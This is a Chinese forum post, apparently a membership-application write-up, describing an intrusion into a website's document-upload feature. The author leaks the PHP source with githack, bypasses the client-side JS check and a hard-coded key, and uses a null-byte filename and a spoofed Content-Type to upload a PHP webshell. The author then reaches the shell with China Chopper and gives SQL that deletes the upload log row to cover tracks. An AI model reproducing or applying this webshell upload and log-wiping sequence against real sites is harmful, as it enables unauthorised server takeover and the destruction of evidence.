利用githack拿到上传部分的源码:index.php表单页面,post.php接受页面,function.php自定义函数页面
0x01 首先看下post.php是如何上传的,部分代码如下
[PHP] 纯文本查看 复制代码 // 上传路径
$wwwroot = "E:/WWW/upload/";
$wwwroot .= date("Y-m")."/".date("d")."/";
// 文件生成以后的文件名,默认系统生成,可更改
$itemid = intval($_POST['itemid']) ? intval($_POST['itemid']) : intval($_GET['itemid']);
$istools = $_POST['istools'] ? $_POST['istools'] : $_GET['istools'];
// 检测post或者get的istools是否等于pilianuploadtools,第二个条件服务器自动生成,略过
if ($istools != 'pilianuploadtools' && $syskey != $sslkey) {
$errormsg = "Error Key";
} else {
// 检查上传文件名,取最后一位小数点的后缀,例如1.docx.php,返回.php
$fileext = substr($filename, strrpos($filename, '.'));
// 检测头部Content-Type的格式
if (!in_array($filetype, array(
"application/vnd.openxmlformats-officedocument.wordprocessingml.document",
"application/msword",
"application/pdf",
"application/vnd.ms-powerpoint",
"application/vnd.openxmlformats-officedocument.presentationml.presentation",
"application/x-zip-compressed"
))) {
// 白名单比对上面$fileext返回的后缀是否如下格式
if (!in_array(strtolower($fileext), array(".doc", ".docx", ".ppt", ".pptx",".zip"))) {
$file["error"]= 5;
$errormsg = "只允许上传DOC,DOCX,PDF,PPT,PPTX,ZIP";
}
}
// 上传以后生成的文件名,然后组合后缀
$newfilename = $itemid . $fileext;
/************************↓ 这部分是次要的 ↓*******************************
//判断上传的大小
if ($file["size"] > 1024 * 1024 * 6.5) {
$errormsg = "上传的文件太大了,不能超过3MB";
}
if ($file["error"] > 0 || !empty($errormsg)) {
switch ($file["error"]) {
case 1:
$errormsg = "上传的文件超过了 最大文件上传限制。";
break;
case 2:
$errormsg = "上传的文件超过了 最大文件上传限制。";
break;
case 3:
$errormsg = "文件只有部分被上传。";
break;
case 4:
$errormsg = "没有文件被上传。";
break;
case 5:
$errormsg = "只允许上传DOC,DOCX,PDF,PPT,PPTX,ZIP";
break;
default:
break;
}
} else {
************************↑ 这部分是次要的 ↑*******************************/
// 包含函数文件
include("function.php");
// 判断上传路径是否存在,不存在创建
if (!is_dir($wwwroot)) {
mkdir($wwwroot, 0777, TRUE);
}
// 创建文件
move_uploaded_file($file["tmp_name"], $wwwroot . $newfilename);
// 将上传好的文件名字,路径信息,插入数据库
$res = uploadfile($itemid, $newfilename, $wwwroot . $newfilename, $uid);
$successmsg = "上传成功,您的任务已经完成,后续转换工作系统会自动完成。";
}
}
0x02 其次看下index.php,发现还用了JS上传验证。
[HTML] 纯文本查看 复制代码
<form enctype="multipart/form-data" action="post.php" method="post">
<br/>
<input type="hidden" name="syskey" value="0"/>
<input type="hidden" name="itemid" value="0"/>
<input type="hidden" name="uid" value="0"/>
<input type="file" name="fileToUpload" style="width:150px;" />
<br/>
<br/>
<input type="submit" id="subbtn" value="点击上传" name="点击上传" />
</form>
[JavaScript] 纯文本查看 复制代码
function clickFileName(upload_field) {
var re_text = /doc|docx|pdf|ppt|pptx|wiz|zip/i;
var filename = upload_field.value.toLowerCase();
var newFileName = filename.split('.');
newFileName = newFileName[newFileName.length-1];
/* Checking file type */
if (newFileName.search(re_text) == -1) {
alert("请选择正确的文件,只允许上传 DOC,DOCX,PDF,PPT,PPTX,ZIP类文件");
upload_field.form.reset();
return false;
}
}
0x03 最后看function.php自定义函数页面
[PHP] 纯文本查看 复制代码
/**
* 用户上传文件。等待转换。存swf数据库 swf_file_transform
* @param type $itemid
* @param type $file
*/
function uploadfile($itemid,$filename,$filepath,$uid){
$method = "adduploadlog";
$status = 0;
$dateline = time();
if(!$itemid || !$filename || !$filepath || !$uid ){
return array("msg"=>"参数有误");
}
$conn = connect();
$sql = "INSERT INTO swf_file_transform (itemid,filename,uid,filepath,status,dateline) values($itemid,'$filename',$uid,'$filepath',$status,$dateline)";
mysql_query($sql,$conn);
$res = mysql_insert_id($conn);
closeconn();//关闭数据库连接
return $res;
}
0x04 构造上传
禁用掉浏览器的javascript运行,绕过js验证部分
打开http://xxx.xxx.com/,接着右键将itemid的值改为777,再插入一个隐藏input,name跟value对应刚刚post.php那部分的接收。
[HTML] 纯文本查看 复制代码
<input type="hidden" name="itemid" value="777"/>
<input type="hidden" name="istools" value="pilianuploadtools">
接着打开burpsuite,截断上传,文件后缀改为x.php%00.docxphp判断的时候就会检测成功.docx,绕过白名单,接着到达服务器上面的时候则又变成x.php,因为后边的.docx被截断了。
再将Content-Type: application/octet-stream改为Content-Type: application/pdf,绕过头部格式的判断。
burpsuite直接forward放行,返回看看页面,发现上传成功。
然后我们再来找下文件路径,看上面的代码可以得知路径为
域名/年-月/日/文件名.php
http://xxx.xxx.com/upload/2016-08/28/777.php
访问成功,直接菜刀连上。
接着还有一个问题,就是他上传以后会将上传信息写入数据库,感觉后台应该会输出显示,我们还得去删除痕迹。
通过function.php文件得知存在swf_file_transform这个表,倒序查询最新信息,接着删除。
[SQL] 纯文本查看 复制代码
select * from swf_file_transform order by id desc limit 0,10;
delete from swf_file_transform where id=xxx;
OVER
============================
管理给予通过,转正成功。
管理05
|